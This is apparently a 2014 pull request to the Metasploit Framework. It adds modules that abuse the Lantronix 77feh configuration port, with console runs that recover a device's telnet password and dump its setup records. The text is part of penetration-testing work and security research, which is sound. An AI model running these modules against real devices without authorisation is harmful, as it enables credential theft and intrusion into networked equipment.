rapid7/metasploit-framework — pull request #3926 by kost (2014-10-01 15:48:08+00:00)
Title: Lantronix abuse of 77feh port

Hello!

These are all modules which are abusing Lantronix 77feh port.

Take a look at the standalone utility:
https://github.com/kost/lantronix-witchcraft
And presentation I've done on Confidence/BalCCon:
http://www.slideshare.net/kost/vk-exploringtreasuresof77-fehlantronixconfidence2014

Example run:

msf exploit(psexec_psh) > use auxiliary/admin/lantronix/lantronix_77feh_password
msf auxiliary(lantronix_77feh_password) > show options

Module options (auxiliary/admin/lantronix/lantronix_77feh_password):

Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
IPPROTO udp yes What IP protocol to use (tcp/udp)
PASSWORD no What password to set
RHOSTS yes The target address range or CIDR identifier
RPORT 30718 yes The target port
THREADS 1 yes The number of concurrent threads

msf auxiliary(lantronix_77feh_password) > set RHOSTS 192.168.1.1
RHOSTS => 192.168.1.1
msf auxiliary(lantronix_77feh_password) > show options

Module options (auxiliary/admin/lantronix/lantronix_77feh_password):

Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
IPPROTO udp yes What IP protocol to use (tcp/udp)
PASSWORD no What password to set
RHOSTS 192.168.1.1 yes The target address range or CIDR identifier
RPORT 30718 yes The target port
THREADS 1 yes The number of concurrent threads

msf auxiliary(lantronix_77feh_password) > run

[+] 192.168.1.1 - Telnet password found: test
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(lantronix_77feh_password) >

msf auxiliary(lantronix_77feh_dump_records) > use auxiliary/admin/lantronix/lantronix_77feh_dump_records
msf auxiliary(lantronix_77feh_dump_records) > set RHOSTS 192.168.1.1
RHOSTS => 192.168.1.1
msf auxiliary(lantronix_77feh_dump_records) > show options

Module options (auxiliary/admin/lantronix/lantronix_77feh_dump_records):

Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
IPPROTO udp yes What IP protocol to use (tcp/udp)
RECEND 15 yes Stop on setup record number
RECSTART 0 yes Start from setup record number
RHOSTS 192.168.1.1 yes The target address range or CIDR identifier
RPORT 30718 yes The target port
SLEEP 0 yes Sleep for how many seconds between requests
THREADS 1 yes The number of concurrent threads

msf auxiliary(lantronix_77feh_dump_records) > run

[+] 192.168.1.1 - got 00 00 00 d6 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00 00 00 00 00 00 00 00 00 00 00 00 00 00 03 00 |................|
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00 00 00 00 00 00 00 00 00 03 01 00 00 00 00 00 |................|
03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00 00 00 00 00 00 00 00 00 00 00 03 01 00 00 00 |................|
00 00 03 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00 00 00 00 00 00 00 00 00 00 00 00 00 03 01 00 |................|
00 00 |..|

[+] 192.168.1.1 - got 00 00 00 d7 04 06 08 00 00 00 00 80 00 80 00 80 |................|
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00 00 |..|